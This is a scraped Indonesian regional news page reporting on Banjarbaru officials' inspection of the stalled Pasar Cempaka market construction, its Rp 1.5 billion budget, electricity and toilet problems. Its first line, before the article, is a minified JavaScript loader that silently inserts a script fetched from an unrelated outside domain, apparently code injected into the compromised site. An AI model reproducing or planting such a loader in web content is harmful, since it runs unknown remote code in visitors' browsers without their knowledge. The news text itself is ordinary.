(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Cek Pembangunan Pasar Cempaka, Ketersedian Listrik Hingga WC Tak Berfungsi


BANJARBARU, Target Pemerintah Kota Banjarbaru mengoperasionalkan Pasar Cempaka pada akhir tahun 2019, segera terealisasi. Pembangunan pasar rakyat yang hampir dua tahun mangkrak lantaran terganjal administrasi, terus didorong penuntasannya.

Sekretaris Daerah (Sekda) Kota Banjarbaru H Said Abdullah, didampingi Kepala Dinas Perdagangan Abdul Basid MM dan Inspektur Kota Rahmat Taufik MSi melakukan peninjauan lokasi pembangunan Pasar Cempaka, di Kecamatan Cempaka, Banjarbaru, Selasa (15/10) siang.

Saat peninjauan, Sekda Banjarbaru menyampaikan dalam peninjauan kali ini melibatkan tim evaluasi pekerjaan fisik pembangunan Pasar Cempaka. Ada dua hal yang harus ditekankan pada peninjauan kali ini, seperti pekerjaan yang berlangsung harus selesai sesuai kontrak pada tanggal 30 November 2019.

“Intinya selesai seluruh tahapan pembangunan pasar ini dan lokasi ini juga harus bersih dari bekas-bekas bahan bangunan, terkait pekerjaan sebelumnya kami ingin memastikan bahwa pekerjaan pekerjaan sisa harus diselesaikan secepatnya dan akan melakukan pembayaran setelah semua setelah pekerjaan ini  selesai,” katanya.

Ditambahkan Sekda Banjarbaru terkait permasalahan dinding yang dicorat-coret, dirinya meminta kepada kontraktor untuk melakukan pengecatan ulang, dan soal WC yang tidak berfungsi agar secepatnya dibenahi sebagaimana fungsinya.

“Saya juga meminta kepada Dinas Perdagangan untuk segera berkoordinasi dengan PLN untuk menyelesaikan masalah listrik. Sehingga cukup daya yang dipasang di Pasar Cempaka, harus memiliki jalur sendiri tanpa menggunakan jalur listrik untuk masyarakat sekitar Pasar Cempaka,” tegasnya.

Sebelumnya, Pemkot Banjarbaru mengakui awal pengerjaan pembangunan PasarCempaka sempat berhenti, lantaran persoalan administrasi termasuk penyerahan aset hibah dari Kementerian Perdagangan RI kepada Pemko Banjarbaru.

Namun permasalahan administrasi tersebut sudah selesai. Pemkot Banjarbaru berencana, Pasar Galuh Cempaka akan bisa dioperasionalkan pada Desember 2019 atau awal Januari 2020 nanti.

Rencananya, pengerjaan Pasar Galuh Cempaka ini dapat diselesaikan dalam waktu 40 hari menggunakan APBD 2019 Pemkot Banjarbaru sebesar Rp 1,5 miliar. Termasuk untuk sarana pendukung bangunan pasar sesuai ketentuan prototype Kementerian Perdagangan RI.

Adapun rincian dana tersebut adalah untuk pembuatan los pedangan sekitar Rp 900 juta, pemasangan paving sekitar Rp 400 juta dan pemasangan besi sekitar Rp 100 juta. Setelah itu clear semua pengerjaannya. (rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

1 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

1 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

3 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

4 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

17 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

19 jam ago

This website uses cookies.